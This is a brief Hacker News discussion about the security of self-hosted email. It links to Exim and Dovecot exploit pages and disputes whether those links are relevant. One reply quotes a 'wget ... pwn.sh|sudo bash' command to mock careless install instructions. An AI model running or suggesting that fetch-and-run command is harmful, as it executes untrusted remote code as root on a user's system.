Hacker News Reader

Sorry but that's not true at all. DKIM keys, spf records and gmail: https://support.google.com/mail/answer/81126?hl=en

Recent Exim exploit: http://www.exploit-db.com/exploits/25970/

Dovecot exploit: https://www.rapid7.com/db/modules/exploit/linux/smtp/exim4_d...

I found a few Sendmail exploits as well but nothing from this year. Sure this stuff is easy to install but there is a reason managed email exists.

View on HN

That "Exim exploit"-link is a little misleading -- that's not a bug in the software, but in (third party) documentation:

https://www.redteam-pentesting.de/de/advisories/rt-sa-2013-0...

By that metric all software on your servers are insecure (consider the number of "just do: 'wget http://trollol.com/pwn.sh|sudo bash -'"-type advice you find looking at install-instruction for random github projects).

If you are going to say "that's not true at all" you need to present an argument for why I am wrong. You posted something completely irrelevant, and a couple of exploits. There are security vulnerabilities found in all kinds of software, so what?

Reply on news.ycombinator.com